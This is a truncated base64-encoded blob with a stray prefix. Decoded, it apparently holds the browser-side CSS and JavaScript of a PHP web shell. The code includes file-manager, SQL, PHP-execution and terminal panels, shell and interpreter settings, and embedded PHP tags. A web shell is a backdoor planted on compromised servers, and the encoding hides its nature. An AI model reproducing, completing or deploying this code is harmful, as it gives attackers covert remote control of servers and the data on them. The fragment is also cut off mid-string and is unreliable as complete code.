0b206MnB4fS5hY3RSZXttYXJnaW46MCAxcHggLTNweCAwO3dpZHRoOjE2cHg7aGVpZ2h0OjE0cHg7Zm9udDpub3JtYWwgMTlweC8xMHB4IFZlcmRhbmEsc2Fucy1zZXJpZjtib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50fS5hTW9yZXttYXJnaW46MCAxcHh9LyouYU1vcmU6aG92ZXJ7cG9zaXRpb246YWJzb2x1dGU7cGFkZGluZy1yaWdodDozcHg7Ym9yZGVyLXJhZGl1czozcHg7YmFja2dyb3VuZDojZjdmN2Y3O3otaW5kZXg6OTB9Ki8uc3BuUkN7cG9zaXRpb246cmVsYXRpdmU7ZmxvYXQ6cmlnaHQ7bWFyZ2luLWxlZnQ6LTEwMCU7cGFkZGluZy1sZWZ0OjVweDtjb2xvcjojMDAwMGNjO2JhY2tncm91bmQ6cmdiYSgyNDcsMjQ3LDI0NywuODUpfS5kaXZMc3R7bWFyZ2luOjJweCAwIDEwcHggMTVweH0uZGl2RmxkVHB7aGVpZ2h0OjEuNWVtO21hcmdpbjowIDAgMCAxOHB4O2NvbG9yOiNhZmFmYWY7Zm9udC1zaXplOnh4LXNtYWxsfS5kaXZGbGRUcCwuZGl2SXRte3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7b3ZlcmZsb3c6aGlkZGVufSNmcm1TUUwsI2ZybVBne2Rpc3BsYXk6bm9uZX0jZGl2Q3B0bnttYXJnaW46MCA0cHggMnB4IDRweDtmb250LXN0eWxlOml0YWxpY30jZGl2RGF0YXttYXJnaW46MCA0cHggNHB4IDA7b3ZlcmZsb3c6YXV0b30jZGl2RHVtcHtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcn0jdGJsSGVhZCwjdGJsRGF0YXttYXJnaW46MCBhdXRvO3dpZHRoOmF1dG99I2ZybVBnIGlucHV0W3R5cGU9InRleHQiXXtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDphdXRvfSNmcm1QSFB7bWFyZ2luLWJvdHRvbTozcHh9LmNtcHNSb3c6YmVmb3JlLC5jbXBzQ29sOmJlZm9yZXttYXJnaW46MCAycHggMCAxcHg7Zm9udC1zaXplOjE1cHg7bGluZS1oZWlnaHQ6MH0uY21wc1JvdzpiZWZvcmV7Y29udGVudDonXDJCMTInfS5jbXBzQ29sOmJlZm9yZXtjb250ZW50OidcMjVFNyd9I3NibVBIUHttYXJnaW4tbGVmdDoxNXB4fSNkaXZQSFB7ZGlzcGxheTpmbGV4O2ZsZXg6MSAxIDA7b3ZlcmZsb3c6aGlkZGVufSN0eHRQSFB7Y29sb3I6IzBkMGQwZDtiYWNrZ3JvdW5kOiNmZmZ9I3ByZVBIUHttYXJnaW46MnB4O3BhZGRpbmc6MnB4IDRweDtmbGV4OjEgMCAwO292ZXJmbG93OmF1dG87YmFja2dyb3VuZDojZmZmO2JvcmRlcjoxcHggc29saWQgI2M3YzdjN30jZGl2VHJtOjpzZWxlY3Rpb257YmFja2dyb3VuZDojZjBmMGYwfSNkaXZUcm0sI3ByZVRybSwjaW5wVHJte2NvbG9yOiMwZDBkMGQ7Zm9udDoxMnB4LzE4cHggJ0NvdXJpZXIgTmV3Jyxtb25vc3BhY2U7YmFja2dyb3VuZDojZmZmfSNkaXZUcm17bWFyZ2luOjAgMnB4IDFweCAycHg7cGFkZGluZzo0cHg7ZmxleDoxIDEgMDtvdmVyZmxvdzphdXRvO2JvcmRlcjoxcHggc29saWQgI2YwZjBmMH0jcHJlVHJtLCNpbnBUcm17bWFyZ2luOjA7cGFkZGluZzowfSNwcmVUcm17d2hpdGUtc3BhY2U6cHJlLXdyYXA7LW1vei10YWItc2l6ZTo0O3RhYi1zaXplOjR9I2lucFRybXtib3JkZXI6MH0jaW5wVHJtOmZvY3Vze2JveC1zaGFkb3c6bm9uZX0jdGJsSW5me21hcmdpbjo0cHggMnB4IDEwcHggMnB4O3dpZHRoOmF1dG99I3RibEluZiB0aCwjdGJsSW5mIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0jdGJsSW5mIHRoe3dpZHRoOjElO3BhZGRpbmctcmlnaHQ6MTBweDt0ZXh0LWFsaWduOmxlZnQ7d2hpdGUtc3BhY2U6bm93cmFwfSN0YmxJbmYgdGg6b25seS1jaGlsZHtoZWlnaHQ6M2VtO3RleHQtYWxpZ246Y2VudGVyO3ZlcnRpY2FsLWFsaWduOmJvdHRvbTtib3JkZXI6bm9uZTtiYWNrZ3JvdW5kOiNGMEYwRjB9I3RibEluZiB0ZHt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLWJyZWFrOmJyZWFrLWFsbH08L3N0eWxlPgoKCgo8c2NyaXB0PkhUTUxTZWxlY3RFbGVtZW50LnByb3RvdHlwZS5fX2RlZmluZUdldHRlcl9fKCd0ZXh0VmFsdWUnLCBmdW5jdGlvbigpIHsKIHJldHVybiB0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS5sYWJlbDsKfSk7CnZhciBtZGxXbmR3cyA9IFtdLAogdG1TaGZ0ID0gPD9waHAgZWNobyB0aW1lKCkqMTAwMDs/PiAtIERhdGUubm93KCksCiBleGVGdW5jcyA9IFtdLCBmbVNvcnQgPSBbMSwgMV0sCiBzcG5EdFRtOwpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiBpZiAoc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgndWlSc3pCb2R5JykpIGRvY3VtZW50LmJvZHkuc3R5bGUud2lkdGggPSAnMTAwJSc7CiB2YXIgZSA9IGVsbUJ5SWQoJ2RhdGFFeGUnKS50ZXh0Q29udGVudC5zcGxpdCgnXG4nKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZS5sZW5ndGggLSAxOyBpIDwgYzsgaSArPSA0KSB7CiAgdmFyIHYgPSBlW2ldLnRyaW1SaWdodCgpLnNwbGl0KCc6Jyk7CiAgaWYoZVtpICsgMV0gJiYgZVtpICsgMl0gJiYgZVtpICsgMl0pCglleGVGdW5jcy5wdXNoKFt2WzBdLCB2WzFdLCBlW2kgKyAxXS50cmltUmlnaHQoKSArICdAJyArIGVbaSArIDJdLnRyaW1SaWdodCgpLCBlW2kgKyAzXS50cmltUmlnaHQoKV0pOwogfQogZSA9IGVsbUJ5SWQoJ2ZybUNzdEVudicpOwogaWYgKGV4ZUZ1bmNzLmxlbmd0aCA+IDApIHsKICBzdHJnUnN0ckNoY2soJ2VudkNzdG0nLCBlLmUpOwogIGZvciAodmFyIGkgPSAwLCBjID0gZXhlRnVuY3MubGVuZ3RoLCB2ID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgnZW52RnVuYycpIHwgMDsgaSA8IGM7ICsraSkgewogICB2YXIgb3B0ID0gbmV3IE9wdGlvbihleGVGdW5jc1tpXVsxXSwgZXhlRnVuY3NbaV1bMF0pOwogICBpZiAoZXhlRnVuY3NbaV1bMF0gPT0gdikgb3B0LnNlbGVjdGVkID0gdHJ1ZTsKICAgZS5mLmFkZChvcHQpOwogIH0KICBzdHJnUnN0clZhbCgnZW52U2hlbGwnLCBlLnMpOwogIHN0cmdSc3RyVmFsKCdlbnZJbnRyUHRoJywgZS5pKTsKICBzdHJnUnN0ckNoY2soJ2VudkludHJPcHROJywgZS5uKTsKICBzdHJnUnN0ckNoY2soJ2VudkludHJPcHRDJywgZS5jKTsKIH0gZWxzZSB7CiAgZWxtQnlJZCgnZmxkRW52JykuZGlzYWJsZWQgPSB0cnVlOwogIGUuZS5kaXNhYmxlZCA9IHRydWU7CiB9CiBzdHJnUnN0ckNoY2soJ3JvJywgJ2NiUk8nKTsKIHN0cmdSc3RyQ2hjaygncnInLCAnY2JSUicpOwogc3RyZ1JzdHJDaGNrKCd0bScsICdjYlRNJyk7CiBzdHJnUnN0ckNoY2soJ29pJywgJ2NiT0knKTsKIGZtUmVzdG9yZVN0YXRlKCk7CiBzcWxSZXN0b3JlU3RhdGUoKTsKIHBocFJlc3RvcmVTdGF0ZSgpOwogdHJtUmVzdG9yZVN0YXRlKCk7CiBzcG5EdFRtID0gZWxtQnlJZCgnZGl2RHRUbScpLmZpcnN0Q2hpbGQ7CiB1aVVwZER0VG0oKTsKIHNldEludGVydmFsKHVpVXBkRHRUbSwgMTUwMCk7Cn0sIGZhbHNlKTsKd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7CiBzdHJnU2F2ZUJvb2woJ3VpUnN6Qm9keScsIGRvY3VtZW50LmJvZHkuc3R5bGUud2lkdGggPT09ICcxMDAlJyk7CiBpZiAoZXhlRnVuY3MubGVuZ3RoID4gMCkgewogIHZhciBlID0gZWxtQnlJZCgnZnJtQ3N0RW52Jyk7CiAgc3RyZ1NhdmVCb29sKCdlbnZDc3RtJywgZS5lLmNoZWNrZWQpOwogIHN0cmdTYXZlT3B0KCdlbnZGdW5jJywgZS5mLnZhbHVlKTsKICBzdHJnU2F2ZVN0cignZW52U2hlbGwnLCBlLnMudmFsdWUpOwogIHN0cmdTYXZlU3RyKCdlbnZJbnRyUHRoJywgZS5pLnZhbHVlKTsKICBzdHJnU2F2ZUJvb2woJ2VudkludHJPcHROJywgZS5uLmNoZWNrZWQpOwogIHN0cmdTYXZlQm9vbCgnZW52SW50ck9wdEMnLCBlLmMuY2hlY2tlZCk7CiB9CiBzdHJnUnN0ckNoY2soJ3JvJywgJ2NiUk8nKTsKIHN0cmdSc3RyQ2hjaygncnInLCAnY2JSUicpOwogc3RyZ1JzdHJDaGNrKCd0bScsICdjYlRNJyk7CiBzdHJnUnN0ckNoY2soJ29pJywgJ2NiT0knKTsKIGZtU2F2ZVN0YXRlKCk7CiBzcWxTYXZlU3RhdGUoKTsKIHBocFNhdmVTdGF0ZSgpOwogdHJtU2F2ZVN0YXRlKCk7Cn07CgpmdW5jdGlvbiBlbG1CeUlkKHYpIHsKIHJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh2KTsKfQoKZnVuY3Rpb24gbmV3RWxtKHRhZywgYXR0cikgewogdmFyIGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KHRhZyk7CiBmb3IgKHZhciBrIGluIGF0dHIpIGVba10gPSBhdHRyW2tdOwogcmV0dXJuIGU7Cn0KCmZ1bmN0aW9uIHN0cmdSc3RyVmFsKG9wdCwgZWxtKSB7CiBvcHQgPSBzZXNzaW9uU3RvcmFnZS5nZXRJdGVtKG9wdCk7CiBpZiAob3B0ID09PSBudWxsKSByZXR1cm47CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGVsbS52YWx1ZSA9IG9wdDsKfQoKZnVuY3Rpb24gc3RyZ1JzdHJBcnIobikgewogdmFyIHZhbCA9IHNlc3Npb25TdG9yYWdlLmdldEl0ZW0obik7CiByZXR1cm4gdmFsID09PSBudWxsID8gW10gOiBKU09OLnBhcnNlKHZhbCk7Cn0KCmZ1bmN0aW9uIHN0cmdSc3RyQ2hjayhvcHQsIGVsbSkgewogaWYgKHNlc3Npb25TdG9yYWdlLmdldEl0ZW0ob3B0KSA9PT0gbnVsbCkgcmV0dXJuOwogaWYgKHR5cGVvZiBlbG0gPT09ICdzdHJpbmcnKSBlbG0gPSBlbG1CeUlkKGVsbSk7CiBlbG0uY2hlY2tlZCA9IHRydWU7Cn0KCmZ1bmN0aW9uIHVpS2V5RHduKGUpIHsKIGUgPSBlIHx8IHdpbmRvdy5ldmVudDsKIHZhciBjID0gbWRsV25kd3MubGVuZ3RoOwogaWYgKGMgPT09IDApIHJldHVybjsKIGlmIChlLndoaWNoID09PSAyNykKICBmb3IgKHZhciBpID0gYyAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgIGlmIChtZGxXbmR3c1tpXS5jbGllbnRUb3ApIHJldHVybiBtZGxXbmR3c1tpXS5maXJzdENoaWxkLmNoaWxkTm9kZXNbMV0ub25jbGljaygpOwogIH0gZWxzZSBpZiAoYyA+IDEgJiYgZS5hbHRLZXkgPT09IHRydWUgJiYgZS53aGljaCA9PT0gODQpCiAgIGZvciAodmFyIGkgPSAwOyBpIDwgYzsgKytpKQogICAgaWYgKG1kbFduZHdzW2ldLmNsaWVudFRvcCAmJiBpICsgMSA8IGMpIHsKICAgICBtZGxXbmR3c1tpXS5zdHlsZS56SW5kZXggPSAobWRsV25kd3NbYyAtIDFdLnN0eWxlLnpJbmRleCB8IDApICsgMTsKICAgICBtZGxXbmR3cy5wdXNoKG1kbFduZHdzLnNwbGljZShpLCAxKVswXSk7CiAgICAgcmV0dXJuOwogICAgfQp9CgpmdW5jdGlvbiB1aVVwZER0VG0oKSB7CiB2YXIgdiA9IG5ldyBEYXRlKERhdGUubm93KCkgKyB0bVNoZnQpLnRvSVNPU3RyaW5nKCk7CiB2ID0gdi5zbGljZSgwLCAxMCkgKyAnICcgKyB2LnNsaWNlKDExLCAxMykgKyAnPHNwYW4gY2xhc3M9ImJsaW5rIj46PC9zcGFuPicgKyB2LnNsaWNlKDE0LCAxNik7CiBpZiAoc3BuRHRUbS5pbm5lckhUTUwgIT09IHYpIHNwbkR0VG0uaW5uZXJIVE1MID0gdjsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVBcnIobiwgdikgewogaWYgKHYubGVuZ3RoKSBzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKG4sIEpTT04uc3RyaW5naWZ5KHYpKTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVCb29sKG4sIHYpIHsKIGlmICh0eXBlb2YgdiA9PT0gJ3N0cmluZycpIHYgPSBlbG1CeUlkKHYpLmNoZWNrZWQ7CiBpZiAodikgc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbShuLCAxKTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gc3RyZ1NhdmVTdHIobiwgdikgewogaWYgKHYgPT09ICcnKSBzZXNzaW9uU3RvcmFnZS5yZW1vdmVJdGVtKG4pOwogZWxzZSBzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKG4sIHYpOwp9CgpmdW5jdGlvbiBzdHJnU2F2ZU9wdChuLCB2KSB7CiBpZiAodiAhPT0gJycgJiYgdiAhPT0gJ1VURi04Jykgc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbShuLCB2KTsKIGVsc2Ugc2Vzc2lvblN0b3JhZ2UucmVtb3ZlSXRlbShuKTsKfQoKZnVuY3Rpb24gdWlSc3pCb2R5KCkgewogdmFyIHMgPSBkb2N1bWVudC5ib2R5LnN0eWxlOwogcy53aWR0aCA9IHMud2lkdGggPT09ICcxMDAlJyA/ICcnIDogJzEwMCUnOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiB1aVJzeihlKSB7CgogaWYodHlwZW9mIGUgPT09ICdzdHJpbmcnKSBlID0gZWxtQnlJZChlKTsKIAogdmFyIHMgPSBlLnN0eWxlOwogdmFyIGNyID0gSlNPTi5wYXJzZShlLmdldEF0dHJpYnV0ZSgnY3InKSk7CiAKIGlmIChzLndpZHRoID09PSAnMTAwJScpewogICAgaWYodHlwZW9mIGNyICE9IG51bGwpewogICAgICAgIHMud2lkdGggPSBjci53aWR0aDsKICAgICAgICBzLmhlaWdodCA9IGNyLmhlaWdodDsKICAgICAgICBzLnRvcCA9IGNyLnRvcCArIChjci5oZWlnaHQgLyAyKTsKICAgICAgICBzLmxlZnQgPSBjci5sZWZ0ICsgKGNyLndpZHRoIC8gMik7CiAgICB9CiAgICBlbHNlewogICAgICBzLndpZHRoID0gJyc7CiAgICAgIHMuaGVpZ2h0ID0gJyc7CiAgICB9CiB9CiBlbHNlewoJZS5zZXRBdHRyaWJ1dGUoJ2NyJywgSlNPTi5zdHJpbmdpZnkoZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSkpOwogICAgcy50b3AgPSBzLmxlZnQgPSAnJzsKICAgIHMud2lkdGggPSBzLmhlaWdodCA9ICcxMDAlJzsKIH0KIAogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiB1aURlbE1zZyhkaXYpIHsKIGVsbUJ5SWQoJ2Rpdk1zZ3MnKS5yZW1vdmVDaGlsZChkaXYpOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBzZXRNc2dUbXIoZGl2KSB7CiB2YXIgZm5jID0gdWlEZWxNc2cuYmluZChudWxsLCBkaXYpLAogIHRtciA9IHNldFRpbWVvdXQoZm5jLCA1MDAwKTsKIGRpdi5vbm1vdXNlb3ZlciA9IGZ1bmN0aW9uKCkgewogIGNsZWFyVGltZW91dCh0bXIpOwogfTsKIGRpdi5vbm1vdXNlb3V0ID0gZnVuY3Rpb24oKSB7CiAgdG1yID0gc2V0VGltZW91dChmbmMsIDUwMDApOwogfTsKfQoKZnVuY3Rpb24gdWlDbHNNc2coKSB7CiByZXR1cm4gdWlEZWxNc2codGhpcy5wYXJlbnROb2RlKTsKfQoKZnVuY3Rpb24gdWlNc2cobXNnLCB0eXBlKSB7CiBpZiAoIXR5cGUpIHsKICB0eXBlID0gJ1ByY3MnOwogIG1zZyArPSAnIFx1MjAyNic7CiB9CiB2YXIgZGl2ID0gbmV3RWxtKCdkaXYnLCB7CiAgY2xhc3NOYW1lOiAnZGl2Q250cmxzIGRpdk1zZycgKyB0eXBlCiB9KTsKIGRpdi5hcHBlbmRDaGlsZChuZXdFbG0oJ2EnLCB7CiAgaHJlZjogJyMnLAogIGNsYXNzTmFtZTogJ2NudHJsJywKICB0ZXh0Q29udGVudDogJ1x1MDBENycsCiAgb25jbGljazogdWlDbHNNc2cKIH0pKTsKIGRpdi5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShtc2cpKTsKIHZhciBlbG0gPSBlbG1CeUlkKCdkaXZNc2dzJyk7CiBlbG0uaW5zZXJ0QmVmb3JlKGRpdiwgZWxtLmZpcnN0Q2hpbGQpOwogaWYgKHR5cGUgIT09ICdQcmNzJykgc2V0TXNnVG1yKGRpdik7CiByZXR1cm4gZGl2Owp9CgpmdW5jdGlvbiB1aUNobmdNc2coZGl2LCBtc2csIHR5cGUpIHsKIGRpdi5maXJzdENoaWxkLm9uY2xpY2sgPSB1aUNsc01zZzsKIGRpdi5sYXN0Q2hpbGQudGV4dENvbnRlbnQgPSBtc2c7CiBkaXYuY2xhc3NOYW1lID0gJ2Rpdk1zZycgKyB0eXBlOwogc2V0TXNnVG1yKGRpdik7CiB2YXIgZWxtID0gZWxtQnlJZCgnYWN0TG9nJykuc3R5bGU7CiBpZiAoZWxtLmRpc3BsYXkgIT09ICdpbmxpbmUtYmxvY2snKSBlbG0uZGlzcGxheSA9ICdpbmxpbmUtYmxvY2snOwogZWxtID0gZWxtQnlJZCgnZGl2TG9nQ250bicpOwogZWxtLmluc2VydEJlZm9yZShuZXdFbG0oJ2RpdicsIHsKICBjbGFzc05hbWU6ICdkaXZNc2cnICsgdHlwZSwKICB0ZXh0Q29udGVudDogJygnICsgdXRzVG9TdHIoRGF0ZS5ub3coKSAvIDEwMDApICsgJykgJyArIG1zZwogfSksIGVsbS5maXJzdENoaWxkKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdWlOZXRFcnJNc2coZGl2KSB7CiB1aUNobmdNc2coZGl2LCAnTmV0d29yayBlcnJvclxuJyArIGRpdi5sYXN0Q2hpbGQudGV4dENvbnRlbnQuc2xpY2UoMCwgLTIpLCAnRXJyJyk7Cn0KCmZ1bmN0aW9uIHVpU2h3TW9kYWwoZWxtKSB7CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGlmIChlbG0uc3R5bGUudmlzaWJpbGl0eSA9PT0gJ3Zpc2libGUnKSByZXR1cm4gZmFsc2U7CiBlbG0uc3R5bGUuekluZGV4ID0gbWRsV25kd3MubGVuZ3RoID09PSAwID8gMTAwIDogKG1kbFduZHdzW21kbFduZHdzLmxlbmd0aCAtIDFdLnN0eWxlLnpJbmRleCB8IDApICsgMTsKIGVsbS5zdHlsZS52aXNpYmlsaXR5ID0gJ3Zpc2libGUnOwogbWRsV25kd3MucHVzaChlbG0pOwogZWxtLmZvY3VzKCk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHVpQWN0dk1vZGFsKGV2bnQpIHsKIHZhciBlbG0gPSBldm50LmN1cnJlbnRUYXJnZXQsCiAgbiA9IG1kbFduZHdzLmluZGV4T2YoZWxtKTsKIGlmIChuICE9PSAtMSkgewogIHZhciBpID0gbWRsV25kd3MubGVuZ3RoIC0gMTsKICBpZiAobWRsV25kd3NbaV0gIT09IGVsbSkgewogICBlbG0uc3R5bGUuekluZGV4ID0gKG1kbFduZHdzW2ldLnN0eWxlLnpJbmRleCB8IDApICsgMTsKICAgbWRsV25kd3Muc3BsaWNlKG4sIDEpOwogICBtZGxXbmR3cy5wdXNoKGVsbSk7CiAgfQogfQogaWYgKGV2bnQudGFyZ2V0LnRhZ05hbWUgPT09ICdTUEFOJyB8fCBldm50LnRhcmdldC50YWdOYW1lID09PSAnRElWJykgewogIGVsbS5zdHlsZS5jdXJzb3IgPSAnbW92ZSc7CiAgdmFyIGR4ID0gZXZudC5wYWdlWCAtIGVsbS5vZmZzZXRMZWZ0LAogICBkeSA9IGV2bnQucGFnZVkgLSBlbG0ub2Zmc2V0VG9wOwogIGRvY3VtZW50Lm9ubW91c2Vtb3ZlID0gZnVuY3Rpb24oZSkgewogICBlbG0uc3R5bGUubGVmdCA9IChlLmNsaWVudFggLSBkeCkgKyAncHgnOwogICBlbG0uc3R5bGUudG9wID0gKGUuY2xpZW50WSArIHdpbmRvdy5wYWdlWU9mZnNldCAtIGR5KSArICdweCc7CiAgfTsKICBkb2N1bWVudC5vbm1vdXNldXAgPSBmdW5jdGlvbigpIHsKICAgZG9jdW1lbnQub25tb3VzZW1vdmUgPSBudWxsOwogICBkb2N1bWVudC5vbm1vdXNldXAgPSBudWxsOwogICBlbG0uc3R5bGUuY3Vyc29yID0gJyc7CiAgfTsKICBldm50LnByZXZlbnREZWZhdWx0KCk7CiAgZXZudC5zdG9wUHJvcGFnYXRpb24oKTsKICByZXR1cm4gZmFsc2U7CiB9Cn0KCmZ1bmN0aW9uIHVpQ2xzTW9kYWwoZWxtKSB7CiBpZiAodHlwZW9mIGVsbSA9PT0gJ3N0cmluZycpIGVsbSA9IGVsbUJ5SWQoZWxtKTsKIGVsbS5zdHlsZS52aXNpYmlsaXR5ID0gJ2hpZGRlbic7CiBtZGxXbmR3cy5zcGxpY2UobWRsV25kd3MuaW5kZXhPZihlbG0pLCAxKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdWlTbGN0VHh0KGlkKSB7CiB2YXIgciA9IGRvY3VtZW50LmNyZWF0ZVJhbmdlKCksCiAgcyA9IHdpbmRvdy5nZXRTZWxlY3Rpb24oKTsKIHIuc2VsZWN0Tm9kZShlbG1CeUlkKGlkKSk7CiBzLnJlbW92ZUFsbFJhbmdlcygpOwogcy5hZGRSYW5nZShyKTsKfQoKZnVuY3Rpb24gdXRzVG9TdHIodikgewogaWYgKHYgPCAxKSByZXR1cm4gJz8nOwogdiA9IG5ldyBEYXRlKHYgKiAxMDAwKS50b0lTT1N0cmluZygpOwogcmV0dXJuIHYuc2xpY2UoMCwgMTApICsgJyAnICsgdi5zbGljZSgxMSwgMTkpOwp9CgpmdW5jdGlvbiBjbG5Mb2coKSB7CiBlbG1CeUlkKCdhY3RMb2cnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogZWxtQnlJZCgnZGl2TG9nJykuc3R5bGUudmlzaWJpbGl0eSA9ICdoaWRkZW4nOwogdmFyIGRpdiA9IGVsbUJ5SWQoJ2RpdkxvZ0NudG4nKTsKIGZvciAodmFyIGkgPSBkaXYuY2hpbGROb2Rlcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgZGl2LnJlbW92ZUNoaWxkKGRpdi5jaGlsZE5vZGVzW2ldKTsKIHJldHVybiBmYWxzZTsKfQp2YXIgRFMgPSAnPD9waHAgZWNobyBOSVg/Ii8iOiJcXFxcIjs/PicsCiBmbUJ1ZmZlciA9IFtdLAogZWxtVGJsRmlsZXMgPSBudWxsLAogZWxtVG1wbEZpbGVSb3cgPSBudWxsLAogZWxtUHRoID0gbnVsbCwKIGZpbGVUeXBlcyA9IHsKICAweEUwMDA6ICdQJywKICAweEQwMDA6ICdEJywKICAweEMwMDA6ICdzJywKICAweEEwMDA6ICdsJywKICAweDgwMDA6ICctJywKICAweDYwMDA6ICdiJywKICAweDQwMDA6ICdkJywKICAweDIwMDA6ICdjJywKICAweDEwMDA6ICdwJwogfTsKCmZ1bmN0aW9uIGZtU2F2ZVN0YXRlKCkgewogc3RyZ1NhdmVTdHIoJ2ZtUGF0aCcsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBzdHJnU2F2ZUFycignZm1CdWZmZXInLCBmbUJ1ZmZlcik7Cn0KCmZ1bmN0aW9uIGZtUmVzdG9yZVN0YXRlKCkgewogZWxtVGJsRmlsZXMgPSBlbG1CeUlkKCd0YmxGaWxlcycpOwogZWxtVG1wbEZpbGVSb3cgPSBlbG1CeUlkKCd0bXBsRmlsZVJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGVsbVB0aCA9IGVsbUJ5SWQoJ2ZybUZNJykucDsKIHN0cmdSc3RyVmFsKCdmbVBhdGgnLCBlbG1QdGgpOwogZWxtUHRoLnBsYWNlaG9sZGVyID0gZWxtUHRoLnZhbHVlOwogZm1CdWZmZXIgPSBzdHJnUnN0ckFycignZm1CdWZmZXInKTsKIGlmIChmbUJ1ZmZlci5sZW5ndGggPiAwKSBlbG1CeUlkKCdidG5CdWZmZXJNZW51JykuZGlzYWJsZWQgPSBmYWxzZTsKfQoKZnVuY3Rpb24gdWlDaGVja0FsbChpZCwgc3RhdGUpIHsKIHZhciBlbG1zID0gZWxtQnlJZCgnZnJtJyArIGlkKVsnZltdJ107CiBpZiAoZWxtcykgewogIGlmIChlbG1zLmxlbmd0aCA+IDApCiAgIGZvciAodmFyIGkgPSBlbG1zLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSBlbG1zW2ldLmNoZWNrZWQgPSBzdGF0ZTsKICBlbHNlIGVsbXMuY2hlY2tlZCA9IHN0YXRlOwogfQp9CgpmdW5jdGlvbiBmbUFqeFNuZChtc2csIGNsYmNrLCBkYXRhLCBmcm0sIGNocnN0KSB7CiBpZiAoIWRhdGEpIGRhdGEgPSB7fTsKIGRhdGEuYSA9ICdmJzsKIGlmICghKCdjJyBpbiBkYXRhKSkgewogIHZhciBjcyA9IGVsbUJ5SWQoJ2ZtQ1NMb2FkJykudmFsdWU7CiAgaWYgKGNzICE9PSAnJykgZGF0YS5jID0gY3M7CiB9CiBhanhTbmQobXNnLCBjbGJjaywgZnJtLCBkYXRhLCBjaHJzdCA/IGNocnN0IDogZWxtQnlJZCgnZm1DU1NlbmQnKS52YWx1ZSk7Cn0KCmZ1bmN0aW9uIHBhcnNlTmFtZShmaWxlKSB7CiB2YXIgbiA9IGZpbGVbMF0sCiAgZSA9ICcnOwogaWYgKGZpbGVbMV0gPT09IG51bGwpIHsKICBuID0gJ1sgJyArIG4gKyAnIF0nOwogIGUgPSAnWyBESVIgXSc7CiB9IGVsc2UgewogIHZhciBwID0gbi5sYXN0SW5kZXhPZignLicpOwogIGlmIChwID4gMCkgewogICBlID0gbi5zbGljZShwICsgMSk7CiAgIC8vbiA9IG4uc2xpY2UoMCwgcCk7CiAgfQogfQogZmlsZVswXSA9IFtmaWxlWzBdLCBuLCBlXTsKfQoKZnVuY3Rpb24gY21wckZpbGVzKGYxLCBmMikgewogdmFyIFtvLCBpXSA9IGZtU29ydDsKIHZhciBjMSA9IChpWzFdID8gZjFbaVsxXV0gOiBmMVswXVtpXSk7CiB2YXIgYzIgPSAoaVsxXSA/IGYyW2lbMV1dIDogZjJbMF1baV0pOwoKIHZhciBmMUYgPSBmMVsxXSAhPT0gbnVsbCwgZjJGID0gZjJbMV0gIT09IG51bGw7CiAKIGlmIChmMUYgJiYgZjJGKSB7CiAgaWYgKGMxICE9PSBjMikgcmV0dXJuIGMxID4gYzIgPyAxKm8gOiAtMSpvOwogfQogZWxzZSBpZiAoZjFGKSByZXR1cm4gMSpvOwogZWxzZSBpZiAoZjJGKSByZXR1cm4gLTEqbzsKIHJldHVybiBmMVswXVsxXSA+IGYyWzBdWzFdID8gMSpvIDogLTEqbzsKfQoKZnVuY3Rpb24gZnJtdFNpemUocykgewogaWYgKHMgPT09IG51bGwpIHJldHVybiAnWyBESVIgXSc7CiBpZiAocyA9PT0gLTEpIHJldHVybiAnPyc7CiBpZiAocyA+IDk5OSkgewogIHMgPSBzLnRvU3RyaW5nKCk7CiAgZm9yICh2YXIgaSA9IHMubGVuZ3RoIC0gMzsgaSA+IDA7IGkgLT0gMykgcyA9IHMuc2xpY2UoMCwgaSkgKyAnXHUyMDA5JyArIHMuc2xpY2UoaSk7CiB9CiByZXR1cm4gczsKfQoKZnVuY3Rpb24gcHJtc1RvU3RyKHApIHsKIHAgfD0gMDsKIGlmIChwID09PSAwKSByZXR1cm4gJz8nOwogdmFyIHYgPSBwICYgMHhGMDAwOwogcmV0dXJuICgodiBpbiBmaWxlVHlwZXMpID8gZmlsZVR5cGVzW